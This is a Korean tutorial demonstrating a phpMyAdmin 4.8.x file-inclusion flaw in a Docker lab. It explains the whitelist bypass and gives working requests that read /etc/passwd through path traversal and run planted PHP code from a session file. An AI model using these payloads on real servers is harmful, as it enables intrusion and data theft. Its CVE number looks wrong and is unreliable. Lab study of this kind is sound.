
CVE-2018-1263 (phpMyAdmin RCE/LFI)에 대한 교육용 익스플로잇 데모입니다. Docker를 통한 취약한 환경 설정 및 웹 애플리케이션 취약점 공격을 학습하기 위한 단계별 공격 워크스루를 포함합니다.
이 가이드는 취약한 구성 요소를 설치하고 CVE-2018-1263에 언급된 phpMyAdmin 버그와 관련된 공격을 수행하는 데 도움을 줍니다.
이 익스플로잇은 phpMyAdmin 버전 4.8.x (4.8.2 미만)에서 발견된 문제와 관련 있습니다. 이 문제를 악용하면 공격자가 서버에서 원격 코드 실행 및 로컬 파일 포함을 수행할 수 있습니다. 취약점은 phpMyAdmin 내에서 페이지를 리디렉션하고 로드하는 코드 부분에 있습니다. 코드에는 허용된 페이지 목록에 대한 잘못된 검사가 있어 공격이 가능합니다. 공격자는 인증을 받아야 하지만, "$cfg['AllowArbitraryServer'] = true"인 경우 (공격자가 이미 통제하고 있는 호스트를 지정하고 phpMyAdmin에서 임의 코드를 실행할 수 있음)와 "$cfg['ServerDefault'] = 0"인 경우 (로그인 요구 사항을 우회하고 인증 없이 취약한 코드를 실행)는 예외입니다.
취약점은 취약한 경로 확인 함수의 유효성 검사 우회로 인해 발생합니다. 이 취약점을 통해 인증된 원격 공격자는 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
phpMyAdmin의 index.php에 파일 포함 취약점이 있으며, URL에 target이라는 매개변수를 제공하여 트리거할 수 있습니다. target 매개변수를 검증하는 코드 부분은 다음과 같습니다.
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
이 코드에서 if 조건이 충족되면 include $_REQUEST['target'];이 실행됩니다. 따라서 우리가 원하는 것을 실행하려면 if 조건을 우회하기만 하면 됩니다.
if 조건을 살펴보겠습니다.
$target_blacklist에 포함되지 않아야 한다는 것을 제한합니다.
$target_blacklist는 if 조건 직전에 정의되며 import.php와 export.php를 포함합니다. 즉, 이 두 페이지를 제외한 모든 것이 허용됩니다.Core::checkPageValidity($_REQUEST['target'])를 사용한 페이지 유효성 검사(화이트리스트 확인)입니다.
checkPageValidity 함수는 $page에서 ? 뒤의 모든 것을 제거하고 화이트리스트에 있는지 확인합니다. ? 뒤의 문자열은 URL 경로의 일부가 아닙니다. 샘플 화이트리스트도 코드 조각에 나와 있습니다.public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page를 완전히 제어할 수 있다는 것입니다. $page는 $_REQUEST['target']에서 직접 오기 때문입니다.앞서 언급했듯이 공격자는 URL의 $_REQUEST['target'] 매개변수를 통해 checkPageValidity 함수의 $page를 완전히 제어할 수 있습니다. 공격자가 $_REQUEST['target'] 매개변수를 사용하여 $page에 다음과 같은 내용을 보낸다고 가정해 보겠습니다.
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
그러면 checkPageValidity 함수는 다음을 수행합니다.
?에서 분할하고 첫 번째 부분을 $page에 할당합니다. 따라서 이 예제에서 $page = db_sql.php의 값이 됩니다.$_page, 즉 db_sql.php가 화이트리스트에 있는지 확인합니다. 화이트리스트에 있으므로 함수는 True를 반환하고 index.php로 돌아갑니다.이제 index.php의 if 조건이 True이므로 위의 index.php 코드 조각에 표시된 대로 다음 줄을 실행합니다.
include $_REQUEST['target'];
다음에 일어나는 일은
$_REQUEST['target'] 값을 포함하므로 다음이 실행됩니다.
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php가 존재하는지 확인하지 않고 경로를 /../../../../../../../../etc/passwd로 마법처럼 변환하므로 /../../../../../../../../etc/passwd가 실행되고 /etc/passwd 파일의 내용이 응답으로 공격자에게 전송됩니다.이제 이를 사용하여 로컬 파일 포함을 수행하거나 원격 코드 실행을 통해 역방향 셸을 얻을 수 있습니다. phpMyAdmin에서 쿼리를 실행할 때마다 세션 파일이 생성되어 /tmp 디렉터리에 쿼리 내용과 함께 저장됩니다. 세션 파일 이름은 sess_<세션 ID>입니다. 세션 ID는 브라우저의 검사 옵션을 사용하여 쿠키에서 쉽게 찾을 수 있습니다.
그래서 phpMyAdmin에서 다음 쿼리를 실행하면
SELECT '<?php phpinfo();exit;?>'
쿼리는 세션 파일에 저장됩니다. phpMyAdmin의 세션 ID가 e15cffd3ab25a631136611fba9ca2042라고 가정해 보겠습니다.
그런 다음 브라우저에서 다음 주소를 트리거하면
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
그러면 phpMyAdmin이 세션 페이지를 로드하려고 시도하고, 페이지에 쿼리를 통해 제공된 PHP 코드가 포함되어 있으므로 PHP 코드가 실행되고 이 특정 예제에서는 브라우저가 로드한 페이지에서 phpinfo를 볼 수 있습니다. 이 기술을 사용하면 원격 서버에서 임의의 코드를 실행할 수 있습니다.
익스플로잇 인프라에는 취약한 버전의 phpMyAdmin과 mysql이 필요합니다. 필요한 구성 요소를 설치하기 위해 도커 컨테이너를 사용합니다. 취약한 버전의 phpMyAdmin은 Vulhub의 사전 구축된 도커 환경을 사용하고, mysql은 dockerhub의 최신 공식 버전을 사용합니다. 설치 스크립트는 리포지토리에서 찾을 수 있는 도커 컴포즈 yml 스크립트로 제공됩니다.
대상 머신에 docker와 docker-compose가 설치되어 있다고 가정합니다. 그렇지 않은 경우 도커 문서를 참조하여 설치하십시오. 도커가 설치되면 다음 단계를 수행하여 취약한 구성 요소를 설정하십시오.
먼저 대상 머신에 리포지토리를 클론하고 클론된 디렉터리로 이동합니다.
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
그런 다음 다음 명령을 사용하여 도커 컴포즈 스크립트를 실행합니다.
sudo docker-compose up -d
설치 과정이 완료되면 도커가 머신의 포트 8080에 phpMyAdmin 페이지를 노출합니다. 브라우저에서 다음 주소 형식을 사용하여 페이지를 열어 확인할 수 있습니다.
http://your-machine-ip:8080
설치 과정이 성공하면 다음과 같은 페이지가 표시됩니다.

다음 비디오는 공격 수행 방법에 대한 튜토리얼입니다.